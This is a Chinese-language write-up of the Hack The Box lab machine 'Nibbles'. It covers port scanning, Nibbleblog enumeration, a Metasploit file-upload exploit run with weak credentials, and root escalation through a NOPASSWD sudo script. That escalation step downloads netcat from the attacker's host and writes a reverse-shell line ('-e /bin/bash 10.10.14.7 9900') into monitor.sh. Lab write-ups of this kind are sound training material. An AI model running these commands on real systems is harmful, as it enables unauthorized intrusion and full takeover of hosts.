Nibbles(sudo no pass )

端口扫描

nmap -sS -Pn 10.10.10.75 -vv

1
2
3
4
5
6
7
8
**22/tcp    open     ssh             syn-ack ttl 63**
30/tcp filtered unknown no-response
**80/tcp open http syn-ack ttl 63**
646/tcp filtered ldp no-response
705/tcp filtered agentx no-response
1001/tcp filtered webpush no-response
1043/tcp filtered boinc no-response
1052/tcp filtered ddt no-response

web探测

Info1: Apache/2.4.18 (Ubuntu) Server

Info2:http://10.10.10.75/nibbleblog/themes/note-2/views/blog/view.bit
var HTML_PATH_ROOT = “/nibbleblog/“;var HTML_PATH_ADMIN = “/nibbleblog/admin/“;var HTML_PATH_ADMIN_AJAX = “/nibbleblog/admin/ajax/“;var HTML_PATH_ADMIN_JS = “/nibbleblog/admin/js/“;var HTML_PATH_ADMIN_TEMPLATES = “/nibbleblog/admin/templates/“;var _MAX_FILE_SIZE = 1024 * 3000;

Info3:/nibbleblog/admin/templates/
在这个目录下找到一些图片,有一些图片,看时间是今天,明显是其他人传上去的webshell。

Info4: feed.php,有人新建了一个用户。说明有些关键的文件我还没发现。

Info5:http://10.10.10.75/nibbleblog/content/private/plugins/my_image/db.xml
<plugin name=”My image” author=”Diego Najar”
该插件,有一个作者名称,说不定有用,mark一下。

GET /nibbleblog/index.php?controller=post&action=view&id_post=7 HTTP/1.1

经过上面的信息搜集,摸索到了一些头绪。
在上传图片时,nibbleBlog没有检查文件类型,于是可以上传php文件。
参考资料:nibbleBlog命令执行漏洞

以上的信息都是经过以下步骤获取,为了方便查看,统一放在此处。



好,既然说了这里没有什么有趣的!
此地无银三百两。。

  • Trying
    dirbuster目录扫描,发现目录遍历。

通过目录遍历,翻找发现,很多文件都是xml(可扩展标记语言文件)。怀疑有xxe漏洞,xml external entyty,xml外部实体注入。

  • Trying 进行验证
    在feed.php源码,http://10.10.10.75/nibbleblog/feed.php

在burp数据包添加xml语句,返回包并没有什么不同。。难道并没有xml外部实体注入?

发现一个页面,有xml解析错误。说明对xml文件有解析。。经验不够,分析不出什么了。

  • Trying :找后台

通过google搜索,得知该cms的后台
http://10.10.10.75/nibbleblog/admin.php
就尝试登陆了一次,提示Nibbleblog security error - Blacklist protection
就被加入了黑名单。。


文件上传获得shell

1
2
3
4
5
6
7
8
use exploit/multi/http/nibbleblog_file_upload
set RHOSTS 10.10.10.75
set USERNAME admin
set PASSWORD nibbles
set TARGETURI /nibbleblog
run

获得meterpreter shell

提权

参考以前做过的方式
LTR Scene(php写入一句话+sudoer提权)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/usr/bin/python3.5 -c 'import pty; pty.spawn("/bin/bash")'
uname -a 说明64位linux

sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh


whereis nc


cd /home/nibbler/personal/stuff/
wget http://10.10.14.7:800/netcat-64
chmod a+x netcat-64
kali : nc -lnvp 9900
echo '#!/bin/bash' > monitor.sh
echo "./netcat-64 -e /bin/bash 10.10.14.7 9900" >> monitor.sh
chmod a+x monitor.sh
sudo ./monitor.sh

方法二:

不必上传netcat。

monitor.sh

1
bash -i

运行sudo ./monitor.sh后,本地即可从nibbler到root

总结

一般来说,黑名单限制登陆,是不允许暴力破解的。

但是这个靶机用的是弱密码,=。=

这就很尴尬了